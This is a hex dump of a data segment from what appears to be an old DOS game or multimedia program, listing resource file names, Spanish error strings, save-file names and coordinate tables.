28BA:0540 66 6F 72 65 6D 61 70 2E 70 73 70 00 73 68 6D 61 foremap.psp.shma
28BA:0550 70 31 2E 72 61 77 00 73 68 6D 61 70 32 2E 72 61 p1.raw.shmap2.ra
28BA:0560 77 00 50 55 5A 5A 4C 45 20 2D 2D 3E 20 50 41 4C w.PUZZLE --> PAL
28BA:0570 41 50 41 4C 41 00 6F 75 74 6C 69 6E 65 20 62 75 APALA.outline bu
28BA:0580 66 66 65 72 2E 0A 00 66 7A 6F 6F 6D 2E 70 73 70 ffer...fzoom.psp
28BA:0590 00 66 7A 70 61 6C 2E 70 70 73 00 73 70 72 69 73 .fzpal.pps.spris
28BA:05A0 2E 76 69 70 00 00 00 00 00 00 00 00 00 00 F2 A8 .vip............
28BA:05B0 BA 28 00 00 00 00 08 04 31 0E 08 04 31 0E 00 00 .(......1...1...
28BA:05C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 F2 A8 ................
28BA:05D0 BA 28 00 00 00 00 16 04 31 0E 16 04 31 0E 00 00 .(......1...1...
28BA:05E0 00 00 A6 05 BA 28 43 72 65 61 6E 64 6F 20 66 69 .....(Creando fi
28BA:05F0 63 68 65 72 6F 20 74 65 6D 70 6F 72 61 6C 20 2D chero temporal -
28BA:0600 2D 2D 3E 20 45 52 52 4F 52 21 00 63 6F 6E 66 69 --> ERROR!.confi
28BA:0610 72 6D 61 2E 63 70 70 00 43 4F 4E 46 49 46 4F 4E rma.cpp.CONFIFON
28BA:0620 2E 54 4D 50 00 00 20 00 00 00 00 00 00 00 00 00 .TMP.. .........
28BA:0630 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:0640 00 00 00 00 00 00 00 0A 00 0A 00 35 01 95 00 A8 ...........5....
28BA:0650 9F BA 28 00 00 00 00 00 00 00 00 00 00 00 00 00 ..(.............
28BA:0660 00 00 00 00 00 00 00 79 00 0E 00 BD 00 33 00 F2 .......y.....3..
28BA:0670 A8 BA 28 00 00 00 00 3D 01 73 0E 3D 01 73 0E 00 ..(....=.s.=.s..
28BA:0680 00 00 00 47 06 BA 28 E4 00 4F 00 F2 00 6D 00 A8 ...G..(..O...m..
28BA:0690 9F BA 28 00 00 00 00 43 01 73 0E 43 01 73 0E 17 ..(....C.s.C.s..
28BA:06A0 00 00 00 67 06 BA 28 D9 00 4F 00 E3 00 6D 00 A8 ...g..(..O...m..
28BA:06B0 9F BA 28 00 00 00 00 43 01 73 0E 43 01 73 0E 15 ..(....C.s.C.s..
28BA:06C0 00 00 00 87 06 BA 28 E0 00 4F 00 E7 00 62 00 A8 ......(..O...b..
28BA:06D0 9F BA 28 00 00 00 00 43 01 73 0E 43 01 73 0E 16 ..(....C.s.C.s..
28BA:06E0 00 00 00 A7 06 BA 28 CD 00 4F 00 D8 00 6D 00 A8 ......(..O...m..
28BA:06F0 9F BA 28 00 00 00 00 43 01 73 0E 43 01 73 0E 13 ..(....C.s.C.s..
28BA:0700 00 00 00 C7 06 BA 28 D5 00 4F 00 DB 00 62 00 A8 ......(..O...b..
28BA:0710 9F BA 28 00 00 00 00 43 01 73 0E 43 01 73 0E 14 ..(....C.s.C.s..
28BA:0720 00 00 00 E7 06 BA 28 C2 00 4F 00 CC 00 6D 00 A8 ......(..O...m..
28BA:0730 9F BA 28 00 00 00 00 43 01 73 0E 43 01 73 0E 11 ..(....C.s.C.s..
28BA:0740 00 00 00 07 07 BA 28 C8 00 4F 00 CF 00 62 00 A8 ......(..O...b..
28BA:0750 9F BA 28 00 00 00 00 43 01 73 0E 43 01 73 0E 12 ..(....C.s.C.s..
28BA:0760 00 00 00 27 07 BA 28 B6 00 4F 00 C0 00 6D 00 A8 ...'..(..O...m..
28BA:0770 9F BA 28 00 00 00 00 43 01 73 0E 43 01 73 0E 10 ..(....C.s.C.s..
28BA:0780 00 00 00 47 07 BA 28 AA 00 4F 00 B5 00 6D 00 A8 ...G..(..O...m..
28BA:0790 9F BA 28 00 00 00 00 43 01 73 0E 43 01 73 0E 0E ..(....C.s.C.s..
28BA:07A0 00 00 00 67 07 BA 28 B2 00 4F 00 B9 00 62 00 A8 ...g..(..O...b..
28BA:07B0 9F BA 28 00 00 00 00 43 01 73 0E 43 01 73 0E 0F ..(....C.s.C.s..
28BA:07C0 00 00 00 87 07 BA 28 9E 00 4F 00 A9 00 6D 00 A8 ......(..O...m..
28BA:07D0 9F BA 28 00 00 00 00 43 01 73 0E 43 01 73 0E 0C ..(....C.s.C.s..
28BA:07E0 00 00 00 A7 07 BA 28 A6 00 4F 00 AC 00 62 00 A8 ......(..O...b..
28BA:07F0 9F BA 28 00 00 00 00 43 01 73 0E 43 01 73 0E 0D ..(....C.s.C.s..
28BA:0800 00 00 00 C7 07 BA 28 93 00 4F 00 9D 00 6D 00 A8 ......(..O...m..
28BA:0810 9F BA 28 00 00 00 00 43 01 73 0E 43 01 73 0E 0B ..(....C.s.C.s..
28BA:0820 00 00 00 E7 07 BA 28 87 00 4F 00 92 00 6D 00 A8 ......(..O...m..
28BA:0830 9F BA 28 00 00 00 00 43 01 73 0E 43 01 73 0E 09 ..(....C.s.C.s..
28BA:0840 00 00 00 07 08 BA 28 8F 00 4F 00 96 00 62 00 A8 ......(..O...b..
28BA:0850 9F BA 28 00 00 00 00 43 01 73 0E 43 01 73 0E 0A ..(....C.s.C.s..
28BA:0860 00 00 00 27 08 BA 28 7B 00 4F 00 86 00 6D 00 A8 ...'..({.O...m..
28BA:0870 9F BA 28 00 00 00 00 43 01 73 0E 43 01 73 0E 07 ..(....C.s.C.s..
28BA:0880 00 00 00 47 08 BA 28 83 00 4F 00 89 00 62 00 A8 ...G..(..O...b..
28BA:0890 9F BA 28 00 00 00 00 43 01 73 0E 43 01 73 0E 08 ..(....C.s.C.s..
28BA:08A0 00 00 00 67 08 BA 28 70 00 4F 00 79 00 6D 00 A8 ...g..(p.O.y.m..
28BA:08B0 9F BA 28 00 00 00 00 43 01 73 0E 43 01 73 0E 05 ..(....C.s.C.s..
28BA:08C0 00 00 00 87 08 BA 28 79 00 4F 00 7F 00 62 00 A8 ......(y.O...b..
28BA:08D0 9F BA 28 00 00 00 00 43 01 73 0E 43 01 73 0E 06 ..(....C.s.C.s..
28BA:08E0 00 00 00 A7 08 BA 28 64 00 4F 00 6F 00 6D 00 A8 ......(d.O.o.m..
28BA:08F0 9F BA 28 00 00 00 00 43 01 73 0E 43 01 73 0E 04 ..(....C.s.C.s..
28BA:0900 00 00 00 C7 08 BA 28 58 00 4F 00 63 00 6D 00 A8 ......(X.O.c.m..
28BA:0910 9F BA 28 00 00 00 00 43 01 73 0E 43 01 73 0E 02 ..(....C.s.C.s..
28BA:0920 00 00 00 E7 08 BA 28 62 00 4F 00 67 00 62 00 A8 ......(b.O.g.b..
28BA:0930 9F BA 28 00 00 00 00 43 01 73 0E 43 01 73 0E 03 ..(....C.s.C.s..
28BA:0940 00 00 00 07 09 BA 28 50 00 4F 00 57 00 6D 00 A8 ......(P.O.W.m..
28BA:0950 9F BA 28 00 00 00 00 43 01 73 0E 43 01 73 0E 00 ..(....C.s.C.s..
28BA:0960 00 00 00 27 09 BA 28 55 00 4F 00 5B 00 62 00 A8 ...'..(U.O.[.b..
28BA:0970 9F BA 28 00 00 00 00 43 01 73 0E 43 01 73 0E 01 ..(....C.s.C.s..
28BA:0980 00 00 00 47 09 BA 28 00 00 00 00 3F 01 C7 00 F2 ...G..(....?....
28BA:0990 A8 BA 28 00 00 00 00 04 00 73 0E 04 00 73 0E 00 ..(......s...s..
28BA:09A0 00 00 00 00 00 00 00 64 6F 31 2E 72 61 77 00 00 .......do1.raw..
28BA:09B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:09C0 00 00 00 00 00 00 00 00 00 00 00 00 00 64 6F 31 .............do1
28BA:09D0 23 2E 72 61 77 00 00 00 00 00 00 00 00 00 00 00 #.raw...........
28BA:09E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:09F0 00 00 01 72 65 31 2E 72 61 77 00 00 00 00 00 00 ...re1.raw......
28BA:0A00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:0A10 00 00 00 00 00 00 00 00 00 72 65 31 23 2E 72 61 .........re1#.ra
28BA:0A20 77 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 w...............
28BA:0A30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 6D ...............m
28BA:0A40 69 31 2E 72 61 77 00 00 00 00 00 00 00 00 00 00 i1.raw..........
28BA:0A50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:0A60 00 00 00 00 00 66 61 31 2E 72 61 77 00 00 00 00 .....fa1.raw....
28BA:0A70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:0A80 00 00 00 00 00 00 00 00 00 00 00 66 61 31 23 2E ...........fa1#.
28BA:0A90 72 61 77 00 00 00 00 00 00 00 00 00 00 00 00 00 raw.............
28BA:0AA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:0AB0 01 73 6F 6C 31 2E 72 61 77 00 00 00 00 00 00 00 .sol1.raw.......
28BA:0AC0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:0AD0 00 00 00 00 00 00 00 73 6F 6C 31 23 2E 72 61 77 .......sol1#.raw
28BA:0AE0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:0AF0 00 00 00 00 00 00 00 00 00 00 00 00 01 6C 61 31 .............la1
28BA:0B00 2E 72 61 77 00 00 00 00 00 00 00 00 00 00 00 00 .raw............
28BA:0B10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:0B20 00 00 00 6C 61 31 23 2E 72 61 77 00 00 00 00 00 ...la1#.raw.....
28BA:0B30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:0B40 00 00 00 00 00 00 00 00 01 73 69 31 2E 72 61 77 .........si1.raw
28BA:0B50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:0B60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 ...............d
28BA:0B70 6F 32 2E 72 61 77 00 00 00 00 00 00 00 00 00 00 o2.raw..........
28BA:0B80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:0B90 00 00 00 00 00 64 6F 32 23 2E 72 61 77 00 00 00 .....do2#.raw...
28BA:0BA0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:0BB0 00 00 00 00 00 00 00 00 00 00 01 72 65 32 2E 72 ...........re2.r
28BA:0BC0 61 77 00 00 00 00 00 00 00 00 00 00 00 00 00 00 aw..............
28BA:0BD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:0BE0 00 72 65 32 23 2E 72 61 77 00 00 00 00 00 00 00 .re2#.raw.......
28BA:0BF0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:0C00 00 00 00 00 00 00 01 6D 69 32 2E 72 61 77 00 00 .......mi2.raw..
28BA:0C10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:0C20 00 00 00 00 00 00 00 00 00 00 00 00 00 66 61 32 .............fa2
28BA:0C30 2E 72 61 77 00 00 00 00 00 00 00 00 00 00 00 00 .raw............
28BA:0C40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:0C50 00 00 00 66 61 32 23 2E 72 61 77 00 00 00 00 00 ...fa2#.raw.....
28BA:0C60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:0C70 00 00 00 00 00 00 00 00 01 73 6F 6C 32 2E 72 61 .........sol2.ra
28BA:0C80 77 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 w...............
28BA:0C90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 73 ...............s
28BA:0CA0 6F 6C 32 23 2E 72 61 77 00 00 00 00 00 00 00 00 ol2#.raw........
28BA:0CB0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:0CC0 00 00 00 00 01 6C 61 32 2E 72 61 77 00 00 00 00 .....la2.raw....
28BA:0CD0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:0CE0 00 00 00 00 00 00 00 00 00 00 00 6C 61 32 23 2E ...........la2#.
28BA:0CF0 72 61 77 00 00 00 00 00 00 00 00 00 00 00 00 00 raw.............
28BA:0D00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:0D10 01 73 69 32 2E 72 61 77 00 00 00 00 00 00 00 00 .si2.raw........
28BA:0D20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:0D30 00 00 00 00 00 00 00 05 0A 01 03 05 08 08 0A 08 ................
28BA:0D40 05 01 03 05 05 03 01 03 19 01 03 05 08 08 0A 08 ................
28BA:0D50 05 01 03 05 05 03 03 01 00 04 14 08 05 05 05 05 ................
28BA:0D60 05 06 08 19 08 08 0A 08 08 06 06 06 08 06 05 00 ................
28BA:0D70 4B 76 D3 0D 96 D1 23 D2 00 00 00 00 00 00 00 00 Kv....#.........
28BA:0D80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:0D90 00 44 1C B0 0D 06 D0 06 D0 00 00 00 00 00 00 00 .D..............
28BA:0DA0 00 00 00 00 00 00 00 00 00 00 00 00 A0 07 0F 1F ................
28BA:0DB0 00 00 6F 6E 61 70 61 6C 2E 70 70 73 00 6D 61 6E ..onapal.pps.man
28BA:0DC0 6F 6F 66 66 2E 70 73 70 00 6D 61 6E 6F 6F 6E 2E ooff.psp.manoon.
28BA:0DD0 70 73 70 00 50 49 41 4E 4F 00 65 6E 6F 75 67 68 psp.PIANO.enough
28BA:0DE0 2E 76 69 70 00 56 69 64 65 6F 20 42 75 66 66 65 .vip.Video Buffe
28BA:0DF0 72 00 6F 6E 61 70 69 2E 70 73 70 00 66 61 64 65 r.onapi.psp.fade
28BA:0E00 70 69 6F 66 2E 72 61 77 00 66 61 64 65 70 69 6F piof.raw.fadepio
28BA:0E10 6E 2E 72 61 77 00 72 65 70 65 61 74 2E 72 61 77 n.raw.repeat.raw
28BA:0E20 00 6E 6F 77 79 6F 75 2E 72 61 77 00 6E 6F 6A 6F .nowyou.raw.nojo
28BA:0E30 69 2E 72 61 77 00 71 75 69 74 2E 70 73 70 00 00 i.raw.quit.psp..
28BA:0E40 0F 00 14 00 55 00 14 00 9B 00 14 00 0F 00 50 00 ....U.........P.
28BA:0E50 55 00 50 00 9B 00 50 00 04 01 5E 00 32 01 70 00 U.P...P...^.2.p.
28BA:0E60 F2 A8 BA 28 00 00 00 00 E7 13 2B 0F E7 13 2B 0F ...(......+...+.
28BA:0E70 00 00 00 00 00 00 00 00 FF FF 00 00 64 28 07 00 ............d(..
28BA:0E80 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:0E90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
; ...
28BA:0EC0 00 5A 4F 52 54 4F 4E 30 30 2E 53 41 56 00 5A 4F .ZORTON00.SAV.ZO
28BA:0ED0 52 54 4F 4E 30 30 2E 53 41 56 00 46 4F 4E 44 4F RTON00.SAV.FONDO
28BA:0EE0 2E 50 53 50 00 54 55 4D 42 2E 50 50 53 00 4F 70 .PSP.TUMB.PPS.Op
28BA:0EF0 65 6E 20 70 61 6C 20 66 69 6C 65 00 54 55 4D 42 en pal file.TUMB
28BA:0F00 2E 50 53 50 00 53 41 43 4F 24 2E 70 73 70 00 44 .PSP.SACO$.psp.D
28BA:0F10 65 66 61 75 6C 74 20 73 63 72 65 65 6E 00 69 6E efault screen.in
28BA:0F20 67 72 65 2E 72 61 77 00 66 69 6C 65 20 6E 6F 74 gre.raw.file not
28BA:0F30 20 66 6F 75 6E 64 20 66 6F 72 20 73 61 76 69 6E found for savin
28BA:0F40 67 00 73 61 63 6F 32 2E 70 73 70 00 00 00 00 00 g.saco2.psp.....
28BA:0F50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:0F60 00 00 00 00 30 00 85 00 2D 00 80 00 35 00 71 00 ....0...-...5.q.
28BA:0F70 02 90 06 9D 00 00 00 00 00 00 00 00 45 00 56 00 ............E.V.
28BA:0F80 38 00 5E 00 40 00 4B 00 01 90 03 91 07 A0 00 00 8.^.@.K.........
28BA:0F90 00 00 00 00 51 00 33 00 42 00 3D 00 4A 00 28 00 ....Q.3.B.=.J.(.
28BA:0FA0 02 91 04 92 08 9F 00 00 00 00 00 00 53 00 18 00 ............S...
28BA:0FB0 49 00 1F 00 50 00 10 00 03 92 05 93 09 9E 00 00 I...P...........
28BA:0FC0 00 00 00 00 5E 00 03 00 4F 00 0C 00 55 00 00 00 ....^...O...U...
28BA:0FD0 04 93 0A 94 00 00 00 00 00 00 00 00 74 00 84 00 ............t...
28BA:0FE0 71 00 82 00 75 00 6B 00 01 9D 07 A3 0B 9C 00 00 q...u.k.........
28BA:0FF0 00 00 00 00 78 00 56 00 75 00 61 00 79 00 4A 00 ....x.V.u.a.y.J.
28BA:1000 02 A0 06 A3 08 A2 0C A7 00 00 00 00 7A 00 33 00 ............z.3.
28BA:1010 79 00 3B 00 7D 00 2A 00 03 9F 07 A2 09 A1 0D A6 y.;.}.*.........
28BA:1020 00 00 00 00 7D 00 18 00 7C 00 1C 00 81 00 10 00 ....}...|.......
28BA:1030 04 9E 08 A1 0A B0 0D A5 0E A4 00 00 80 00 03 00 ................
28BA:1040 7E 00 0E 00 81 00 00 00 05 94 09 B0 0F 95 00 00 ~...............
28BA:1050 00 00 00 00 B2 00 84 00 BA 00 81 00 B0 00 6B 00 ..............k.
28BA:1060 06 9C 0C A8 10 9B 00 00 00 00 00 00 B0 00 56 00 ..............V.
28BA:1070 B4 00 5C 00 AE 00 46 00 07 A7 0B A8 0D A9 11 AF ..\...F.........
28BA:1080 00 00 00 00 AB 00 33 00 B2 00 3C 00 AA 00 27 00 ......3...<...'.
28BA:1090 08 A6 09 A5 0C A9 0E AA 11 AE 12 AD AC 00 18 00 ................
28BA:10A0 AF 00 1F 00 A6 00 0E 00 09 A4 0D AA 0F AB 13 AC ................
28BA:10B0 00 00 00 00 A6 00 03 00 AD 00 10 00 A8 00 00 00 ................
28BA:10C0 0A 95 0E AB 14 96 00 00 00 00 00 00 E3 00 84 00 ................
28BA:10D0 FA 00 80 00 F4 00 6F 00 0B 9B 11 9A 00 00 00 00 ......o.........
28BA:10E0 00 00 00 00 D1 00 56 00 F1 00 5E 00 E7 00 47 00 ......V...^...G.
28BA:10F0 0C AF 0D AE 10 9A 12 99 00 00 00 00 C6 00 33 00 ..............3.
28BA:1100 E8 00 3C 00 DF 00 29 00 0D AD 11 99 13 98 00 00 ..<...).........
28BA:1110 00 00 00 00 C0 00 18 00 DF 00 20 00 D5 00 0D 00 .......... .....
28BA:1120 0E AC 12 98 14 97 00 00 00 00 00 00 BA 00 03 00 ................
28BA:1130 DA 00 0F 00 CF 00 00 00 0F 96 13 97 00 00 00 00 ................
28BA:1140 00 00 00 00 00 00 BE 00 3F 01 C7 00 F2 A8 BA 28 ........?......(
28BA:1150 00 00 00 00 5A 01 32 12 5A 01 32 12 00 00 00 00 ....Z.2.Z.2.....
28BA:1160 00 00 00 00 00 00 00 00 3F 01 BD 00 AC 9F BA 28 ........?......(
28BA:1170 00 00 00 00 00 00 00 00 51 02 94 10 00 00 00 00 ........Q.......
28BA:1180 44 11 BA 28 0F 00 0F 00 47 00 2B 00 F2 A8 BA 28 D..(....G.+....(
28BA:1190 00 00 00 00 7D 02 94 10 7D 02 94 10 14 00 00 00 ....}...}.......
28BA:11A0 64 11 BA 28 DB 00 09 00 F1 00 1F 00 A8 9F BA 28 d..(...........(
28BA:11B0 00 00 00 00 0D 02 94 10 51 02 94 10 14 00 00 00 ........Q.......
28BA:11C0 84 11 BA 28 E4 00 20 00 FA 00 36 00 A8 9F BA 28 ...(.. ...6....(
28BA:11D0 00 00 00 00 0D 02 94 10 51 02 94 10 13 00 00 00 ........Q.......
28BA:11E0 A4 11 BA 28 EA 00 38 00 07 01 55 00 A8 9F BA 28 ...(..8...U....(
28BA:11F0 00 00 00 00 0D 02 94 10 51 02 94 10 12 00 00 00 ........Q.......
28BA:1200 C4 11 BA 28 F6 00 5D 00 13 01 7A 00 A8 9F BA 28 ...(..]...z....(
28BA:1210 00 00 00 00 0D 02 94 10 51 02 94 10 11 00 00 00 ........Q.......
28BA:1220 E4 11 BA 28 06 01 8B 00 23 01 A8 00 A8 9F BA 28 ...(....#......(
28BA:1230 00 00 00 00 0D 02 94 10 51 02 94 10 10 00 00 00 ........Q.......
28BA:1240 04 12 BA 28 A7 00 07 00 BD 00 1D 00 A8 9F BA 28 ...(...........(
28BA:1250 00 00 00 00 0D 02 94 10 51 02 94 10 0F 00 00 00 ........Q.......
28BA:1260 24 12 BA 28 B6 00 1E 00 CC 00 34 00 A8 9F BA 28 $..(......4....(
28BA:1270 00 00 00 00 0D 02 94 10 51 02 94 10 0E 00 00 00 ........Q.......
28BA:1280 44 12 BA 28 BA 00 36 00 D0 00 4C 00 A8 9F BA 28 D..(..6...L....(
28BA:1290 00 00 00 00 0D 02 94 10 51 02 94 10 0D 00 00 00 ........Q.......
28BA:12A0 64 12 BA 28 BB 00 54 00 D8 00 71 00 A8 9F BA 28 d..(..T...q....(
28BA:12B0 00 00 00 00 0D 02 94 10 51 02 94 10 0C 00 00 00 ........Q.......
28BA:12C0 84 12 BA 28 BF 00 83 00 DC 00 A0 00 A8 9F BA 28 ...(...........(
28BA:12D0 00 00 00 00 0D 02 94 10 51 02 94 10 0B 00 00 00 ........Q.......
28BA:12E0 A4 12 BA 28 80 00 08 00 96 00 1E 00 A8 9F BA 28 ...(...........(
28BA:12F0 00 00 00 00 0D 02 94 10 51 02 94 10 0A 00 00 00 ........Q.......
28BA:1300 C4 12 BA 28 77 00 1F 00 8C 00 33 00 A8 9F BA 28 ...(w.....3....(
28BA:1310 00 00 00 00 0D 02 94 10 51 02 94 10 09 00 00 00 ........Q.......
28BA:1320 E4 12 BA 28 73 00 36 00 89 00 4C 00 A8 9F BA 28 ...(s.6...L....(
28BA:1330 00 00 00 00 0D 02 94 10 51 02 94 10 08 00 00 00 ........Q.......
28BA:1340 04 13 BA 28 6A 00 52 00 87 00 6F 00 A8 9F BA 28 ...(j.R...o....(
28BA:1350 00 00 00 00 0D 02 94 10 51 02 94 10 07 00 00 00 ........Q.......
28BA:1360 24 13 BA 28 63 00 80 00 80 00 9D 00 A8 9F BA 28 $..(c..........(
28BA:1370 00 00 00 00 0D 02 94 10 51 02 94 10 06 00 00 00 ........Q.......
28BA:1380 44 13 BA 28 53 00 0B 00 69 00 21 00 A8 9F BA 28 D..(S...i.!....(
28BA:1390 00 00 00 00 0D 02 94 10 51 02 94 10 05 00 00 00 ........Q.......
28BA:13A0 64 13 BA 28 49 00 22 00 5F 00 38 00 A8 9F BA 28 d..(I."._.8....(
28BA:13B0 00 00 00 00 0D 02 94 10 51 02 94 10 04 00 00 00 ........Q.......
28BA:13C0 84 13 BA 28 3C 00 39 00 59 00 56 00 A8 9F BA 28 ...(<.9.Y.V....(
28BA:13D0 00 00 00 00 0D 02 94 10 51 02 94 10 03 00 00 00 ........Q.......
28BA:13E0 A4 13 BA 28 2E 00 5A 00 4B 00 77 00 A8 9F BA 28 ...(..Z.K.w....(
28BA:13F0 00 00 00 00 0D 02 94 10 51 02 94 10 02 00 00 00 ........Q.......
28BA:1400 C4 13 BA 28 1D 00 8B 00 3A 00 A8 00 A8 9F BA 28 ...(....:......(
28BA:1410 00 00 00 00 0D 02 94 10 51 02 94 10 01 00 00 00 ........Q.......
28BA:1420 E4 13 BA 28 00 00 00 00 00 00 AD 00 00 00 00 00 ...(............
28BA:1430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:1440 00 00 00 00 00 00 00 00 00 00 00 1E 00 00 00 00 ................
28BA:1450 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:1460 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 ............@...
28BA:1470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:1480 00 00 00 00 00 00 00 79 65 73 2E 76 69 70 00 63 .......yes.vip.c
28BA:1490 6C 61 70 73 2E 76 69 70 00 74 72 61 69 6E 73 63 laps.vip.trainsc
28BA:14A0 72 2E 70 73 70 00 74 72 61 6E 5F 70 61 6C 2E 70 r.psp.tran_pal.p
28BA:14B0 70 73 00 74 63 75 72 6F 6E 2E 70 73 70 00 74 63 ps.tcuron.psp.tc
28BA:14C0 75 72 6F 66 66 2E 70 73 70 00 64 74 72 65 6E 61 uroff.psp.dtrena
28BA:14D0 2E 70 73 70 00 69 74 72 65 6E 61 2E 70 73 70 00 .psp.itrena.psp.
28BA:14E0 6B 61 72 62 6F 6E 2E 70 73 70 00 74 72 65 6E 75 karbon.psp.trenu
28BA:14F0 69 2E 70 73 70 00 74 72 65 6E 75 64 2E 70 73 70 i.psp.trenud.psp
28BA:1500 00 74 72 65 6E 64 69 2E 70 73 70 00 74 72 65 6E .trendi.psp.tren
28BA:1510 64 64 2E 70 73 70 00 6F 75 74 6C 69 6E 65 20 62 dd.psp.outline b
28BA:1520 75 66 66 65 72 2E 0A 00 46 69 72 65 20 42 75 66 uffer...Fire Buf
28BA:1530 66 65 72 2E 0A 00 74 78 75 74 78 75 2E 72 61 77 fer...txutxu.raw
28BA:1540 00 74 72 61 69 6E 62 61 63 2E 76 69 70 00 6F 75 .trainbac.vip.ou
28BA:1550 74 66 75 65 6C 2E 72 61 77 00 75 6E 64 6F 20 42 tfuel.raw.undo B
28BA:1560 75 66 66 65 72 00 6E 6F 2E 72 61 77 00 71 75 69 uffer.no.raw.qui
28BA:1570 74 2E 70 73 70 00 00 00 00 00 00 00 00 00 00 00 t.psp...........
28BA:1580 00 00 00 00 00 00 00 64 00 1B 00 02 05 05 01 06 .......d........
28BA:1590 04 00 00 00 00 00 00 00 93 00 21 00 01 05 03 25 ..........!....%
28BA:15A0 04 1B 06 1D 00 00 00 00 00 C3 00 25 00 02 25 04 ...........%..%.
28BA:15B0 1A 07 1C 09 24 0A 19 0F 18 00 ED 00 19 00 02 1B ....$...........
28BA:15C0 03 1A 0A 17 00 00 00 00 00 00 00 3F 00 34 00 01 ...........?.4..
28BA:15D0 01 06 03 0B 02 00 00 00 00 00 00 00 61 00 46 00 ............a.F.
28BA:15E0 01 04 02 1D 05 03 07 1E 0B 07 10 08 00 85 00 35 ...............5
28BA:15F0 00 03 1C 06 1E 0C 1F 00 00 00 00 00 00 00 AE 00 ................
28BA:1600 41 00 09 23 0C 20 0E 21 00 00 00 00 00 00 00 D3 A..#. .!........
28BA:1610 00 3B 00 03 24 08 23 0E 22 00 00 00 00 00 00 00 .;..$.#.".......
28BA:1620 FE 00 32 00 03 19 04 17 0F 16 00 00 00 00 00 00 ..2.............
28BA:1630 00 43 00 55 00 05 02 06 07 10 06 00 00 00 00 00 .C.U............
28BA:1640 00 00 8A 00 5B 00 07 1F 08 20 0D 0F 10 09 11 0C ....[.... ......
28BA:1650 12 0E 00 B2 00 58 00 0C 0F 0E 11 12 10 00 00 00 .....X..........
28BA:1660 00 00 00 00 D6 00 53 00 08 21 09 22 0D 11 0F 15 ......S..!."....
28BA:1670 13 13 00 00 00 FE 00 4E 00 03 18 0A 16 0E 15 13 .......N........
28BA:1680 14 14 12 00 00 00 67 00 7E 00 06 08 0B 06 0C 09 ......g.~.......
28BA:1690 11 0B 14 0A 00 00 00 9B 00 73 00 0C 0C 10 0B 12 .........s......
28BA:16A0 0D 00 00 00 00 00 00 00 C6 00 71 00 0C 0E 0D 10 ..........q.....
28BA:16B0 11 0D 00 00 00 00 00 00 00 EF 00 6B 00 0E 13 0F ...........k....
28BA:16C0 14 00 00 00 00 00 00 00 00 00 AD 00 91 00 0F 12 ................
28BA:16D0 10 0A 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
28BA:16E0 00 00 00 00 BE 00 3F 01 C7 00 F2 A8 BA 28 00 00 ......?......(..
28BA:16F0 00 00 5A 01 32 12 5A 01 32 12 00 00 00 00 00 00 ..Z.2.Z.2.......
28BA:1700 00 00 30 00 14 00 22 01 A0 00 AC 9F BA 28 00 00 ..0..."......(..
28BA:1710 00 00 00 00 00 00 62 01 97 11 00 00 00 00 E2 16 ......b.........
28BA:1720 BA 28 11 00 12 00 28 00 27 00 F2 A8 BA 28 00 00 .(....(.'....(..
28BA:1730 00 00 7B 01 97 11 7B 01 97 11 14 00 00 00 02 17 ..{...{.........
28BA:1740 BA 28 AA 00 8F 00 D0 00 A5 00 A8 9F BA 28 00 00 .(...........(..
28BA:1750 00 00 3D 01 97 11 62 01 97 11 14 00 00 00 22 17 ..=...b.......".
28BA:1760 BA 28 EC 00 6A 00 10 01 81 00 A8 9F BA 28 00 00 .(..j........(..
28BA:1770 00 00 3D 01 97 11 62 01 97 11 13 00 00 00 42 17 ..=...b.......B.
28BA:1780 BA 28 C0 00 6F 00 E2 00 83 00 A8 9F BA 28 00 00 .(..o........(..
28BA:1790 00 00 3D 01 97 11 62 01 97 11 12 00 00 00 62 17 ..=...b.......b.
28BA:17A0 BA 28 94 00 72 00 B7 00 88 00 A8 9F BA 28 00 00 .(..r........(..
28BA:17B0 00 00 3D 01 97 11 62 01 97 11 11 00 00 00 82 17 ..=...b.........
28BA:17C0 BA 28 5E 00 7C 00 86 00 94 00 A8 9F BA 28 00 00 .(^.|........(..
